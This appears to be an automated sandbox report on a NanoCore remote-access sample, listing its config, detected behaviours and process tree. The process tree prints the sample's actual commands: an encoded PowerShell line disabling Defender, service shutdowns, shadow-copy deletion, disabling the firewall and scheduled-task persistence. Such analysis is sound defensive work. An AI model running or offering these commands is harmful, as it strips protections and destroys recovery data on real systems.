Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/08/2026, 10:59

General

  • Target
    cheta.io_chrome.exe
  • Size 57KB
  • Sample260820-m3vsxaap8z
  • SHA256 6081a68b8e67f6c370ea18b5f9548669e57170e17a8e79d9982aa76d79939edf
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://cheta.io

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://cheta.io

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\cheta.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\cheta.io_chrome.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3648
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4156
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:2424
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:852
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:3212
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:5996
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:4528
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:2652
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:2316
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:928
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1968
      • C:\Users\Admin\AppData\Local\Temp\cheta.io_chrome.exe
        "C:\Users\Admin\AppData\Local\Temp\cheta.io_chrome.exe"
        3⤵
          PID:5520
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:1964
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:5084
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:2284
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5308
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:1324
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\cheta.io_chrome.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3036
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\cheta.io_chrome.exe" /sc minute /mo 30 /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5172
      • C:\Windows\System32\notepad.exe
        "C:\Windows\System32\notepad.exe"
        2⤵
          PID:1020
        • C:\Windows\System32\vssadmin.exe
          "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
          2⤵
          • Interacts with shadow copies
          PID:1260
        • C:\Windows\System32\wbem\WMIC.exe
          "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:580
        • C:\Windows\System32\net.exe
          "C:\Windows\System32\net.exe" stop srservice
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1292
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop srservice
            3⤵
              PID:1296
          • C:\Windows\System32\netsh.exe
            "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
            2⤵
            • Modifies Windows Firewall
            • Event Triggered Execution: Netsh Helper DLL
            PID:3192
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:908
            • C:\Windows\system32\vssadmin.exe
              vssadmin delete shadows /all /quiet
              3⤵
              • Interacts with shadow copies
              PID:928
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic shadowcopy delete
              3⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:4200
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3876
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              3⤵
              • Gathers system information
              PID:1720
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4616
            • C:\Windows\system32\tasklist.exe
              tasklist
              3⤵
              • Discovers running processes
              PID:5924
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5768
            • C:\Windows\system32\whoami.exe
              whoami
              3⤵
                PID:4928
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:3984
              • C:\Windows\system32\net.exe
                net user
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4624
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 user
                  4⤵
                    PID:2252
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
                2⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:3024
                • C:\Windows\system32\ipconfig.exe
                  ipconfig /all
                  3⤵
                  • Gathers network information
                  PID:1324
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
                2⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:1092
                • C:\Windows\system32\NETSTAT.EXE
                  netstat -an
                  3⤵
                  • Gathers network information
                  PID:3108
              • C:\Windows\SYSTEM32\schtasks.exe
                "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\cheta.io_chrome.exe" /sc daily /f
                2⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5104
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                2⤵
                • Launches sc.exe
                PID:5720
              • C:\Windows\System32\wscript.exe
                "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                2⤵
                • Executes a VBScript file via the Windows Script Host.
                PID:2780
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" stop i8042prt
                2⤵
                • Launches sc.exe
                PID:2280
            • C:\Windows\system32\vssvc.exe
              C:\Windows\system32\vssvc.exe
              1⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2808
            • C:\Users\Admin\AppData\Local\Temp\cheta.io_chrome.exe
              C:\Users\Admin\AppData\Local\Temp\cheta.io_chrome.exe
              1⤵
                PID:2816
              • C:\Users\Admin\AppData\Local\Temp\cheta.io_chrome.exe
                C:\Users\Admin\AppData\Local\Temp\cheta.io_chrome.exe
                1⤵
                  PID:3468
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k GPSvcGroup
                  1⤵
                    PID:936

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

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                        Downloads

                        scr_20260820_120220.jpg

                        • Path C:\ProgramData\SysUpdate\Scr\scr_20260820_120220.jpg
                        • Size 129KB
                        • SHA256 4279d19fafc0376ebc62dd191116792fa73ab1c295e320764d147bd10233496b
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        invoice_1.pdf

                        • Path C:\ProgramData\invoice_1.pdf
                        • Size 76KB
                        • SHA256 5055407ab2d35d6bc130a6ce4e4373c62db1aaa4094eea256ab843cdb6e718c3
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        doc_3.pdf

                        • Path C:\SystemVolumeInformation\doc_3.pdf
                        • Size 76KB
                        • SHA256 8aa63857f16486d934439b7a0c7cff75a054a263af658ab41beeba54e70b1fae
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        createshortcut.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                        • Size 240B
                        • SHA256 ccf1c82138972d20f000f11ddefd7fc219b1cc7f53b08424136f94685f94b924
                        • MD5 SHA1 SHA512 TLSH

                        del.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                        • Size 59B
                        • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                        • MD5 SHA1 SHA512 TLSH

                        makelnk.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                        • Size 241B
                        • SHA256 d89bd0d666dda37cd6b67605af3651610131cae756d64552cd5c8b1b0ab0fbf4
                        • MD5 SHA1 SHA512 TLSH

                        temp_steal.log

                        • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                        • Size 173KB
                        • SHA256 86892a213073c84bc287ffc00a37148441f677b4a003105bbcaaf03edf8da2a8
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        stolen_data_here.txt

                        • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                        • Size 173KB
                        • SHA256 d72a7762aefc1f96ae0e5d663d2129ff1c993ffb39263c08b15da38a4e2f3859
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/1020-2248-0x0000017C1C4B0000-0x0000017C1C4B1000-memory.dmp

                        memory/3648-5-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp

                        memory/3648-2280-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp

                        memory/3648-2278-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp

                        memory/3648-2277-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp

                        memory/3648-2272-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp

                        memory/3648-8-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp

                        memory/3648-4-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp

                        memory/3648-3-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp

                        memory/3648-2-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp

                        memory/3648-0-0x00007FFEA592F000-0x00007FFEA5930000-memory.dmp

                        memory/3648-1-0x00000000001B0000-0x00000000001C4000-memory.dmp

                        memory/4156-25-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp

                        memory/4156-61-0x0000021F7DFE0000-0x0000021F7E092000-memory.dmp

                        memory/4156-50-0x0000021F7DFC0000-0x0000021F7DFDE000-memory.dmp

                        memory/4156-110-0x0000021F7E0A0000-0x0000021F7E0AA000-memory.dmp

                        memory/4156-18-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp

                        memory/4156-24-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp

                        memory/4156-23-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp

                        memory/4156-2247-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp

                        memory/4156-21-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp

                        memory/4156-20-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp

                        memory/4156-19-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp

                        memory/4156-17-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp

                        memory/4156-16-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp

                        memory/4156-15-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp

                        memory/4156-13-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp

                        memory/4156-14-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp

                        memory/4156-10-0x0000021F7DC20000-0x0000021F7DC42000-memory.dmp

                        memory/4156-9-0x00007FFEA57A0000-0x00007FFEA6144000-memory.dmp